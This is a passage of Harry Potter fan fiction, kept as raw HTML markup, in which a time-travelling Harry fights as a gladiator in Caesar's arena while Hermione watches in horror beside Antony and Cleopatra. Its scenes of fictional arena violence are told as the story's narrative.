with Caesar because he can give her power.&nbsp; I doubt if she even really loves the\nman.&quot;&nbsp; Enzo looked down at his feet\n&quot;Marcelo heard Cleopatra and Antony in discussion about why she is with Caesar; she eventually wants to\nrule his empire.&nbsp; That\'s what Marcelo was\ngoing to inform Caesar about, also the fact that she and Antony had been\nsneaking around behind his back.&quot;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry nodded, &#8220;So\nthat&#8217;s why he was sent here, to be kept quiet.&#8221;&nbsp;\nHe wasn&#8217;t going to say anything for it could really mess up\nhistory.&nbsp; He only wanted to alter his\nparents&#8217; fate and that was enough for him.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Gino stepped into\nthe cell. &#8220;It&#8217;s almost time, only a few minutes till\nour fates are sealed.&#8221;<br>\n<br style="mso-special-character:line-break">\n<br style="mso-special-character:line-break">\n</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh stop being so\ndramatic Gino.&#8221; Frizi said.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Enzo&#8217;s eyes\nnarrowed, as he glared at Frizi, &#8220;You only say that because you are up to\nsomething, I know you have something going on with the other gladiators trying\nto kill us, something to spare your life you pathetic fool.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Frizi shrugged,\n&#8220;Think what you will about me, I really couldn&#8217;t care less.&nbsp; Just so you know I stay alive because I&#8217;m\nsmart, unlike you.&#8221; He smirked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry continued\nto practice on his own while the others continued arguing.&nbsp; He guessed that there was a lot of anger and\nhatred between them, no wonder they would die.&nbsp;\nThey aren&#8217;t going at it like a team.&nbsp;\nPerhaps they should and then they would survive.&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You know I was\nthinking.&#8221; Harry started to say, &#8220;That maybe if you put your differences aside\nthat you could possibly stay alive?&#8221; He looked at each of them.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Marcelo scoffed,\n&#8220;What do you know about surviving in the pit, you&#8217;ve never had to do this a day\nin your life.&nbsp; Why should we take your\nadvice?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry cleared his\nthroat, &#8220;I think you should take it on like it was a game.&nbsp; Like you all are a team or part of an army,\nnot just fighting for yourselves but for everyone.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well I hate to\nbreak it to you,&#8221; Marcelo glared.&nbsp; &#8220;But\nthis is far from a game; you&#8217;ll see what I&#8217;m talking about once you are out\nthere.&#8221;&nbsp; He got right into Harry&#8217;s face\n&#8220;Your life is on the line, so when you&#8217;ve actually survived then you&#8217;ll have\nthe right to give advice!&#8221; Marcelo&#8217;s eyes were dark with anger and hatred as he\ncontinued to glare at Harry while walking away from him, heading towards the\nlarge iron doors that led out into the pit.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry didn&#8217;t want\nto show them that he was afraid; when in reality he was downright\nterrified.&nbsp; He&#8217;d heard and seen\ndocumentation about what happened with Gladiators.&nbsp; Anyone would be a fool not to fear it.&nbsp; Harry heard the sounds of a very large crowd\noutside.&nbsp; He went over to the barred\nwindows and looked out, and was astounded at what he saw; there were more people\nthan he saw even at the World Cup sitting out there. They were chanting and\ncheering waiting for the gladiators to come out and start killing each other.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He gulped\nnervously; Harry felt a lump almost as large as a Muggle tennis ball form in\nhis throat.&nbsp; This was so overwhelming;\npeople were there to see him get brutally murdered.&nbsp; How could people find this sort of thing\nentertaining?&nbsp; People would be losing\ntheir lives out there.&nbsp;&nbsp; Through the\ncorner of his eye he saw a man being drug out of another opening by two men;\nHarry turned his head to see what was going on with him.&nbsp; He watched as the victim was thrown to the\ndusty ground of the pit.&nbsp; The noise of\nthe crowd intensified with shouts and screams of approval.&nbsp; The gladiator&#8217;s captors were shackling his\nankles together; a long chain ran from the man&#8217;s ankles to the side of the\nwall.&nbsp; If he took off running that man\nwasn&#8217;t going to get very far that was for sure.&nbsp;\n</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry&#8217;s attention\nwas brought to a large iron door that was lifted and out stalked a large and\nhungry looking lion, the animal slowly made its way into the pit.&nbsp; The lion approached the gladiator who only\nhad what looked like a knife.&nbsp; Harry\ngripped the bars on the windows as he saw the man swing its knife at the lion,\nwhich roared loudly driving the spectators wild. The lion did jump back and\nthen spring forward.&nbsp; The man was quick\non his feet as he tried to run around the animal.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The lion&#8217;s large\nmenacing paw reached for the man, its claws sharp and deadly grazed the man&#8217;s\nright leg, immediately the wound began to bleed profusely.&nbsp; Even from that distance away Harry could see\nthe large amount of blood flowing down the man&#8217;s leg.&nbsp; The man swung again but the lion seemed to\nknow what was coming and dodged the weapon.&nbsp;\nThe animal moved around fiercely as its other paw shot up and grabbed\nthe man about the waste pulling him to the ground.&nbsp; Harry felt the large chunks of what he ate\nfor lunch begin to churn in his stomach, making a sour foul taste.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry could no\nlonger hear what was going on around him as the lion swung its paw at the\ngladiator knocking him around like a mouse toy.&nbsp;\nBlood was everywhere, on the walls, on the ground.&nbsp; It was when the lion sunk its teeth into the\nman&#8217;s shoulder ripping it from his body while snarling and growling that Harry\ncouldn&#8217;t keep anything in his stomach he had eaten that day inside of him\nanymore. He turned away from the window and clutched his stomach as he retched\nviolently.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Enzo looked over\nat Harry who was throwing up violently, &#8220;That was basically just a crowd teaser\nto get them in the mood.&nbsp; You get used to\nit eventually.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Shaking his head\nHarry wiped his mouth with the back of his hand.&nbsp; &#8220;How can you get used to something like\nthat?&#8221; Harry said weakly, his voice shaking.&nbsp;\nHe sank to his knees now fighting another yet strange urge to vomit\nagain. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Frizi shrugged,\n&#8220;You just do.&nbsp; Be glad that its not you.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Awww what&#8217;s the matter, can&#8217;t handle it?&#8221; Marcelo mocked,\nlaughing as he saw Harry who looked up at him with a piercing glare.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;No I can&#8217;t.&#8221;\nHarry said taking a much needed breath of air, &#8220;I can&#8217;t handle seeing innocent\npeople being murdered so violently, and for what? For\nentertainment?&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Marcelo was still\nlaughing.&nbsp; &#8220;Well if you can&#8217;t stomach\nthis, you&#8217;ll never make it down here.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I don&#8217;t plan on\nmaking it down here; I plan on getting out of here.&#8221;&nbsp; Harry finally got to his feet.&nbsp; He didn&#8217;t sound very sure, even to\nhimself.&nbsp; He knew he would probably not\nmake it past today. He was wandless so it was not\nlike he could use magic, this seemed utterly hopeless.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione turned\nher head away from the sight of that poor man being attacked and a torn apart\nby that lion, she couldn&#8217;t keep down, the urge to\nvomit was strong as she heard the lion&#8217;s snarling and growling as it ripped\napart that man&#8217;s flesh.&nbsp; Quickly Meldina\nhanded Hermione a wooden bucket.&nbsp;\nHermione grabbed the bucket and tossed everything she had eaten that day\ninto it.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;This is your\nfirst gladiator match so I knew you would need this.&#8221; Meldina nudged the bucket\nwith her elbow then took a breath and sighed, &#8220;I remember my first match.&nbsp; I was so shocked and disgusted that I think I\nused that bucket the entire time.&#8221;&nbsp; She\nthen smiled reassuringly, &#8220;But don&#8217;t worry, the more you see the more you&#8217;ll\nget used to it.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Breathing hard,\nHermione&#8217;s face paled.&nbsp; She felt like she\nwould pass out any moment now.&nbsp; This was\nnothing like she had expected, it was cruel and the victims suffered greatly.&nbsp; &#8220;I don&#8217;t want to get used to it, this is just\nawful.&nbsp; That poor man&#8230;&#8221; She felt the tears\nstinging in her eyes. &#8220;Whatever did he do to deserve a death that horrific and\nbrutal?&#8221;&nbsp; She lifted her head leaning\nagainst the back of the chair taking in deep breaths to prevent her from\npassing out.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;He didn&#8217;t do\nanything.&#8221; Rosa replied as she looked down into the pit.&nbsp; The lion had since been removed from the\narea, which meant it was time for the real event to begin.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Usually they are\ninnocent men and women who die down there.&#8221; Meldina watched Hermione&#8217;s\nreaction; the girl was horrified at such a thing.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione&#8217;s mind\nwandered, that same exact thing could happen to Harry. <i style="mso-bidi-font-style:normal">&#8216;Oh gods no!&#8217;</i> Her head\nshouted.&nbsp; She continued to stare down at\nthe spot where the lion had been; there were still fragments of body parts\nlying around, not to mention so much blood.&nbsp;\nShe breathed in heavily a few times, in&#8230;and&#8230;out, in&#8230;and&#8230;out.&nbsp; The air was becoming dense as she saw colours\nswirl and spots before her eyes.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hermione, are\nyou all right?&#8221; Rosa asked concerned, seeing Hermione&#8217;s body start to sway a\nbit.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I uh&#8230; don&#8217;t\nfeel&#8230;so good.&#8221;&nbsp; She made another grab for\nthe bucket as she lost it a second time.&nbsp;\nHermione sat the bucket back down on the cement.&nbsp; She heard a snigger coming from next to\nher.&nbsp; She turned to the side seeing Marc\nAntony laughing quietly at her.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Not so strong\nnow, are you?&#8221; Antony laughed.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Strength has\nnothing to do with it.&nbsp; This is the most\ninhumane and brutal thing I have ever seen.&nbsp;\nNo man or woman should be subjected to this.&#8221; Hermione said bitterly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Think about\nthis, in a few short minutes that&#8230;&#8221; He pointed down to the pit to where that\nman was killed by the lion. &#8220;&#8230;Could be your precious lover.&#8221; He smirked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione glared,\n&#8220;Harry will not die.&#8221; She said with the utmost confidence.&nbsp; She had faith in him. &#8220;So just wipe that smug\nsmirk off your face, because once he gets through down there.&nbsp; He&#8217;ll be coming after you and yours.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Antony laughed\nout loud.&nbsp; &#8220;I am a general of an army; he\nis nothing but a boy, a child even.&nbsp; I\nhave men at my back ready to defend me at any cost.&nbsp; He&#8217;ll be dead before he sets foot in the\ndoor.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Sure, keep\ntelling yourself that.&#8221; Hermione smirked herself then turned to face the\npit.&nbsp; She was sure Harry would\nsurvive.&nbsp; Hermione heard some kind of\ntrumpet sound signalling the start of the match.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry reached\nover on the table choosing a fine weapon, out of what was left anyway.&nbsp; There weren&#8217;t too many choices everything\nimpressive was already taken.&nbsp; There were\na few daggers, some small short swords, bows and arrows and a few broad\nswords.&nbsp; Nothing too grand, he was sure\nthe blades were even dulled.&nbsp;&nbsp; Harry\nlifted the sword from the table, he nearly dropped it on the floor it was so\nheavy.&nbsp; He swung it around a bit getting\nused to the weight, he tried a couple of moves that he had learned from Hogwarts\nand Ordon in the forest back near Camelot.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He looked around\nat all the people practicing with real weapons, he saw Enzo using a fine sword\nand shield.&nbsp; Harry looked around for a\nshield but there weren&#8217;t any; they really wanted people to be unprotected.&nbsp; Harry shook his head as he continued to scan\nthe crowd of gladiators.&nbsp; Frizi was\nswinging a mace around looking like he handled it pretty well.&nbsp; Gino was messing with a bow and arrow set; he\nfired arrows at the targets on the walls. Harry noticed that Marcelo was using\ntwo swords, which were double edged; he twirled them around which resembled one\nof those martial art stunt men.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Marcelo turned\nand glared at Harry, taking a step forward swiping his sword at him\nmenacingly.&nbsp; Harry rolled his eyes; he didn&#8217;t\nwant to mess with that jerk right now.&nbsp;\nHe had more important things to worry about.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry heard the\ntrumpets blow loud ear shattering music, he had to press his palms over his\nears to keep out the noise.&nbsp; After the\ntrumpets stopped he saw the prisoners all lining up ready to head out and\ndie.&nbsp; Harry got in line behind Gino, this\nwas it he thought, the end of his life was near.&nbsp; This must have been how Voldemort wanted him\nto die, racked with agony and twitching in pain.&nbsp; No magic to help him, to die at the hands of\nan ordinary man.&nbsp; Voldemort would\ncertainly think that would be the shameful way to die.&nbsp; At the hands of a Muggle, there was no other\nshame in the world that could compare with that to an evil demon like\nVoldemort.&nbsp; To die at the hands of a\nMuggle was completely unacceptable to the likes of Voldemort.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The line started\nmoving, Harry thought of Hermione at this point.&nbsp; He wondered what would become of her if he\nwere killed.&nbsp; She would forever be at the\nhands of these cruel men who would most likely treat her inhumanely.&nbsp; She would probably be tortured day in and day\nout, just the thought of someone hurting her made him see red.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He was concerned\nmostly since she didn&#8217;t have her wand to help her to escape from this kind of\nlife.&nbsp; He had to live to see that she was\nsafe, and it wasn&#8217;t a choice.&nbsp; He could\nnot die and leave her all alone.&nbsp; As he\nand the other gladiators made their way out into the pit he scanned the crowd,\nhoping for a chance to see Hermione.&nbsp;\nThere were so many people it was hard to tell who was who up there.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione watched\nas the gladiators came into view.&nbsp; She\nheard Rosa speaking to her.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;All the\ngladiators have been divided into groups of two.&#8221; Rosa explained pointing down\nbelow.&nbsp; &#8220;Those right there are the red group\nand then over there is the green.&nbsp; The\nReds will most likely be defending themselves and the green attacks full and\nhard.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Meldina nodded\nagreeing with Rosa, &#8220;The greens usually cheat and they use animals like\nhorses.&nbsp; But Caesar doesn&#8217;t care if they\ncheat as long as there is a winner in the end.&#8221;<br>\n<br style="mso-special-character:line-break">\n<br style="mso-special-character:line-break">\n</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione sighed;\nshe stood and looked all the way down.&nbsp;\nShe noticed they had the best seats.&nbsp;\nShe could see everyone and everything clearly.&nbsp; More important she could see Harry.&nbsp; Hermione leaned over the wall a bit wanting\nto get a better look at him.&nbsp;&nbsp; She felt\nthe tears swell in her eyes at the site of him.&nbsp;\nHe seemed so small and alone down there, the\nfear of him dying finally hit her.&nbsp; He\nvery well could be killed, she didn&#8217;t know what she would do if that\nhappened.&nbsp; She could sense that he had\nbeen scared, that&#8217;s why she sent him that note this past morning she truly\nhoped her words had some comfort.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Did he know she\nwas in the audience?&nbsp; She didn&#8217;t get to\nask herself that for long for his eyes met hers, it was as if everything else\nceased to exist.&nbsp; Out of all these people\nhe had found her, her heart ached.&nbsp; She\nlonged to hold him, to tell him everything was all right that she believed in\nhim.&nbsp; She wondered if he knew what she\nwanted to say.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry could see\nthe immense worry for him deep within her eyes he tried to give her a\nreassuring smile but he didn&#8217;t really get the chance for the five gates\ncircling around them began to open.&nbsp; He\nlooked in all directions as the men and women around him immediately went into\ntheir fighting stances, preparing for the battle.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">It was unfair\nthat the assault army raced out covered from head to toe in thick armour, with\nhelmets to protect their heads.&nbsp; Their\nweapons were larger, sharper more extravagant.&nbsp;\nThe green team immediately began attacking violently, the crowd was\npleased as they cheered and hollered.&nbsp;\nOne man in green shoved his sword straight into a Red&#8217;s stomach twisting\nit with a most evil look on his face.&nbsp;\nAnother man in green threw a large battle-axe; it imbedded itself within\na Red&#8217;s forehead killing him instantly.&nbsp;\nThe blood was flowing fast and hard as the Reds were being slaughtered\none by one.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry was quick\non his feet as he avoided weapon after weapon, he blocked and dodged several\nattacking Greens.&nbsp; Two women on horseback\nrode out shooting arrows in Harry&#8217;s direction, he had jumped out of the way to\navoid being punctured.&nbsp; A man in green\nran at Harry but he ducked and the man ran hard into Harry&#8217;s back.&nbsp; Harry grabbed the man&#8217;s legs and as he stood\nupright the man in green was thrown off landing on the ground head first\nbreaking his neck.&nbsp; Harry saw Gino who\nwas shooting arrows at anyone who would get near him; he had a good empty space\naround him.&nbsp; No one was getting\nclose.&nbsp; When four fast arrows used in\ncross bows zoomed and stuck right into Gino&#8217;s chest.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Gino fell to his\nknees as Harry was still defending himself; he tried as hard as he could to get\nto him, but it was useless.&nbsp; He was\nhounded and attacked by Greens as he saw Frizi run towards Gino his own weapon\nwaving frantically in the air, Harry wasn&#8217;t sure but it looked like Frizi was\ngoing to finish off Gino.&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Frizi swung his\nmace wildly in the air aiming to hit Gino in the head but Gino was too quick\nfor him as he lifted a sword that he had picked up from the ground next to him,\nhe twirled the blade lopping off Frizi&#8217;s hand.&nbsp;\nThe blood gushed from the now stub on the end of Frizi&#8217;s arm.&nbsp; He ripped the edge of his clothing and\nwrapped the material tightly around the nub trying to get the bleeding to\nstop.&nbsp; Gino&#8217;s small victory was short\nlived as someone in green came up behind him shoving a sword to the hilt into\nhis back so that the sharp tip poked through his heart, piercing completely\nthough his flesh and sticking out of his chest.&nbsp;\n</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry turned\naway, fighting the urge to throw up.&nbsp; He\nhad to keep his head level he had to stay focused.&nbsp; That could be him next.&nbsp; He had to stay alert.&nbsp; He glanced around as he fought off a small\nman from plunging a dagger into his arm.&nbsp;\nHarry kicked the man in the leg, the man in green fell and another man\nin red came swinging through with some kind of fancy sword and swiped at the\nman in green knocking off his head.&nbsp;\nHarry couldn&#8217;t tell if the were winning or losing, there were so many\npeople lying on the ground dead.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The crowd was\ngoing wild as each man and woman was brutally slaughtered.&nbsp; Body parts were ripped from their persons;\nindividuals were being stabbed and gutted viciously.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.25in" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.25in" align="center">*****</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.25in" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp; The Red&#8217;s were starting to be victorious while\nthe greens were diminishing in quantity.&nbsp;\nMarcelo had two double bladed swords; he swung them about in a masterful\nway.&nbsp; He was slicing off arms, stabbing\npeople in the heart, stomach any one that would get in his way would be\neliminated by his masterful skills</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione, who was\nstanding, was holding a small tray of wine goblets made the mistake of taking a\nlook into the pit.&nbsp; She saw Harry\nfighting really hard down there.&nbsp; She\ncouldn&#8217;t take it anymore she threw the tray to the ground and stood up against\nthe ledge.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">A very large muscular man in green knock Marcelo&#8217;s swords from his\nhands by twirling a spear in his hand like a baton.&nbsp; The man in green lifted\nMarcelo up in the air much like a wrestler on television would.&nbsp; The large man threw Marcelo to the ground,\ngrinning evilly his upper front teeth were black from rot; he was missing his\nbottom front teeth.&nbsp; His large foot came\ndown hard on Marcelo&#8217;s chest, knocking the wind out of him.&nbsp; Next the large man lifted his spear high into\nthe air, his smile turned into a sneer as he growled.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry wasted no\ntime and without really thinking he jumped onto the large man&#8217;s back, his arms\ncircling his neck choking him.&nbsp; The large\nman staggered back a bit as Marcelo managed to get out from underneath the position\nof his weapon.&nbsp; The large man flexed his\nmuscles, Harry&#8217;s eyes grew wide as he felt the man expanding in thickness he\nwas losing his grip, he was flipped over landing on the ground.&nbsp; Harry was dazed and as soon as he became\naware of what was happening around him, the large man plunged a sharp thick\nsword into his shoulder.&nbsp; He yelled and\nhollered in complete agony.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\npractically fell over the edge at the immense pain rushing through her body as\nshe too screamed in pain.&nbsp;&nbsp; She managed\nto grab a hold of the ledge and force herself away from it.&nbsp; Instead she fell backwards,\nthe pain was too much to bear.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;Rosa and Meldina were at her side in an\ninstant wondering why she was tossing and turning on the cement screaming.&nbsp; She was attracting unwanted attention from\nthe spectators around her.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Stop that I say.&#8221; Cleopatra\ncommanded, feeling more than embarrassed looking\naround nervously.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;It hurts&#8230; it\nhurts.&#8221; Hermione clutched her shoulder, not hearing Cleopatra&#8217;s commands.&nbsp; &#8220;Make it stop!&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What is the\nmatter with her?&#8221; Caesar said looking over at Hermione on the ground.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Cleopatra\nshrugged, &#8220;I have no idea, I think the girl&#8217;s lost her\nmind or something.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Maybe the match\nwas too much for her to bear; I don&#8217;t know why I agreed to force her to attend\nAntony?&#8221; Caesar said shaking his head, &#8220;I didn&#8217;t think it would be a good idea,\nand now I know that I should have gone with my first instinct.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I happen to\nthink it&#8217;s a good experience for her.&#8221; Antony said hiding a smirk, &#8220;All her\nladyship&#8217;s slaves should be use to this.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry grabbed a\nhold of the blade with his bare hand; it was really sharp as it sliced the soft\nskin of his palm yet he tried to lift it.&nbsp;\nThe large men kept pushing the blade down, making Harry yell even\nlouder.&nbsp;&nbsp;&nbsp; The man then stopped and\nstarted to fall forward, Harry moved out of the way, as the man fell to the\nground.&nbsp; Harry saw an axe buried in the\nguy&#8217;s back and Marcelo looked like he had just thrown it.&nbsp; Harry reached up and tried to pull the weapon\nfrom his shoulder.&nbsp; He stopped it hurt\ntoo much.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The rest of the\nRed&#8217;s came over to them, they were helping their injured teammates, it was rare that\npeople would live after something like this.&nbsp;\nEnzo, whose head was bleeding, rushed over to Harry.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hey Harry, hold\non.&#8221; Enzo reached down and grabbed a hold of the sword and started pulling it\nout.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry couldn&#8217;t\nstay focused; his mind was going blank, his vision blurry as the world spun\naround him.&nbsp; The pain was too much for\nhim to bear as he lost consciousness.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">At that point,\nCaesar declared the Red&#8217;s the winners; the gladiators began to leave the\npit.&nbsp; Enzo lifted Harry up onto his\nshoulder and carrying him from the pit.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione who was\nmiraculously all better and had stopped screaming, she was acting like nothing\nhad happened.&nbsp;&nbsp; She was standing near the\nchair she had been sitting in throughout the match.&nbsp; She was so relieved that Harry was alive,\nunconscious but alive.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Antony was\nsnickering, &#8220;Did you see that&#8230; What a lucky fool, if it hadn\'t been for that\nredhead down there he\'d have died today. Too bad he doesn\'t have MY strength, then he\'d be a worthy adversary.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Her fists\nclinched at her sides, Hermione was becoming more and more livid by each\npassing comment that Marc Antony had made about Harry.&nbsp; She saw his eyes connect with hers, a smug\nsmile on his face as he continued talking.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What a weakling\nthat boy of yours is, it took him so long to fight his way through\neverything.&#8221;&nbsp; Antony laughed.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" 